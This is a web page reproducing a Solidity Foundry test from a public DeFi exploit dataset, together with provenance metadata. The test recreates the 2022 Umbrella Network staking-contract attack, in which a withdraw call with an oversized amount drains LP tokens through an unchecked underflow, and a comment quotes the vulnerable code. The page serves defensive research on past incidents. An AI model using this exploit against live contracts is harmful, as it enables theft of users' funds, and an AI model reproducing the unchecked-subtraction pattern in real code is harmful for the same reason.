Skip to content
THREATWIRE

Public reproduction file

src/test/2022-03/Umbrella_exp.sol

Public reproduction file for dataset entry Umbrella Network.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-03/Umbrella_exp.sol45 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : 700k
8// Attacker : 0x1751e3e1aaf1a3e7b973c889b7531f43fc59f7d0
9// AttackContract : 0x89767960b76b009416bc7ff4a4b79051eed0a9ee
10// StakingRewards contract: 0xB3FB1D01B07A706736Ca175f827e4F56021b85dE
11// Attack TX: https://etherscan.io/tx/0x33479bcfbc792aa0f8103ab0d7a3784788b5b0e1467c81ffbed1b7682660b4fa
12// Attack TX: https://bscscan.com/tx/0x784b68dc7d06ee181f3127d5eb5331850b5e690cc63dd099cd7b8dc863204bf6
14interface IStakingRewards {
15 function withdraw(
16 uint256 amount
17 ) external;
20contract AttackContract is Test {
21 CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
22 IStakingRewards constant StakingRewards = IStakingRewards(0xB3FB1D01B07A706736Ca175f827e4F56021b85dE);
23 IERC20 constant uniLP = IERC20(0xB1BbeEa2dA2905E6B0A30203aEf55c399C53D042);
25 function setUp() public {
26 cheat.createSelectFork("mainnet", 14_421_983); // Fork mainnet at block 14421983
27 }
29 function testExploit() public {
30 emit log_named_decimal_uint("Before exploiting, Attacker UniLP Balance", uniLP.balanceOf(address(this)), 18);
32 StakingRewards.withdraw(8_792_873_290_680_252_648_282); //without putting any crypto, we can drain out the LP tokens in uniswap pool by underflow.
34 /*
35 StakingRewards contract, vulnerable code snippet.
36 function _withdraw(uint256 amount, address user, address recipient) internal nonReentrant updateReward(user) {
37 require(amount != 0, "Cannot withdraw 0");
39 // not using safe math, because there is no way to overflow if stake tokens not overflow
40 _totalSupply = _totalSupply - amount;
41 _balances[user] = _balances[user] - amount; //<---- underflow here.
42 */
43 emit log_named_decimal_uint("After exploiting, Attacker UniLP Balance", uniLP.balanceOf(address(this)), 18);
44 }

Analysis

Dataset entry

Public Foundry test for “Umbrella Network” (2022-03-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

13 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x1751e3e1aaf1a3e7b973c889b7531f43fc59f7d0

  • Attack Tx

    0x33479bcfbc792aa0f8103ab0d7a3784788b5b0e1467c81ffbed1b7682660b4fa

  • Attack Tx

    0x784b68dc7d06ee181f3127d5eb5331850b5e690cc63dd099cd7b8dc863204bf6

File record

Name
Umbrella Network
Path
src/test/2022-03/Umbrella_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8e12af3370bba49d4b7875a80894fbee35cb5ae8
Language
Solidity
Size
46 lines
Date
2022-03-20
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-03/Umbrella_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8e12af3370bba49d4b7875a80894fbee35cb5ae8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.